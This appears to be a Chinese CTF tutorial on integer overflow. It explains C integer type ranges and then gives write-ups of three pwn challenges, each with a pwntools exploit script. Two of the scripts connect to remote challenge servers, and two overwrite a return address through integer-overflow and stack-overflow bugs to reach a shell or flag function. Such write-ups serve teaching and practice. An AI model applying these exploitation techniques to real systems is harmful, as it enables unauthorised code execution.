pwn整数溢出
整数溢出原理
具体原理
在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
具体数据类型的范围如下:
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | -32768~32767 |
unsigned short int | 2byte(word) | 0\~65535(0\~0xffff) |
int | 4byte(dword) | -2147483648\~2147483647 |
unsigned int | 4byte(dword) | 0\~4294967295(0~0xffffffff) |
long int | 8byte(qword) | 正: 0\~0x7fffffffffffffff 负 0x8000000000000000\~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0\~0xffffffffffffffff |
举例
#include
int main()
{
unsigned short int var1 = 1, var2 = 65537;
printf("%d\n",sizeof(unsigned short int));
if (var1 == var2)
{
printf("溢出");
}
return 0;
}
输出结果
WUST-CTF number_game
武汉科技大学的ctf萌新赛,是我在找这个方面的题目时发现的,考查整数溢出的知识
题目分析
反汇编elf文件
可以看到是需要输入一个数小于0,取反之后再次小于0即可得到shell
由于v1是int型,故最多表示4,294,967,296个数,含有符号,即表示
-2147483648~2147483647
故可取v1 = -2147483648
则v1取符号后仍未负数
exp
from pwn import *
sh = process('.\number_game')
payload = -2147483648
sh.sendline(str(payload)) #注意,sendline发送的都为字符型数据,要想发送数字得加上str()函数
sh.interactive()
攻防世界int_overflow
连接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1
题目分析
附件checkesc分析
没有开启canary保护,可以使用栈溢出的漏洞
接着使用IDApro分析
main函数中没有什么问题
接着检查login()函数
检查check_passwd()函数:
注意变量v3,这里就会存在整数溢出漏洞
对输入的数字s的长度限制在4-8位之间,但是v3为unsigned int8型变量,即为无符号的8bits大小整数
最大值应该为255:
如果超出255,就会溢出,即对于unsigned int8型的变量v1和v2,如果v1=0,v2=256;则v1==v2;
故此题的输入密码的长度应为 4 ~ 8 或 255+4 ~ 255+8
找到漏洞后,按shift+f12查找关键字
即发现cat flag关键字
即发现函数
查看地址
得到函数的starts地址,即可在输入passwd时构造字符将chack_passwd的函数返回地址改为what_is_this()函数的地址
且由于dest变量到栈底的偏移量为0x14,故即可构造exp
exp
from pwn import *
c=remote('220.249.52.134',36374)
flag_adress=0x804868B
payload="zbrnb".ljust(0x14+4,'a')+p32(flag_adress)+"zbrnb".ljust(256-0x14-4-4+4,'a')
c.sendlineafter("Your choice:","1")
c.sendlineafter("Please input your username:\n","Retr_0nb")
c.recvuntil("Please input your passwd:\n")
c.sendline(payload)
c.recv()
c.interactive()
c.recv()
即可得到flag
BUUCTF[bjdctf_2020_babystack2]
题目分析
反汇编分析
即发现在if判断时nbytes时,nbytes是signed int 而执行read函数时为unsigned int型
故如果输入nbytes时输入 -1 ,在if判断时为负数 <10,而执行read函数时为最大值,可以输入更多的字符
且发现漏洞函数
通过gdb调试计算buf的偏移量,得到payload='a'*(0x10+8)+p64(shell_addr)
exp
from pwn import *
#sh = process('./bjdctf_2020_babystack2')
sh=remote("node3.buuoj.cn","25761")
shell_addr = 0x0000000000400726
payload='a'*(0x10+8)+p64(shell_addr)
sh.recvuntil("of your name:")
sh.sendline("-1")
sh.recvuntil("s u name?")
sh.sendline(payload)
sh.interactive()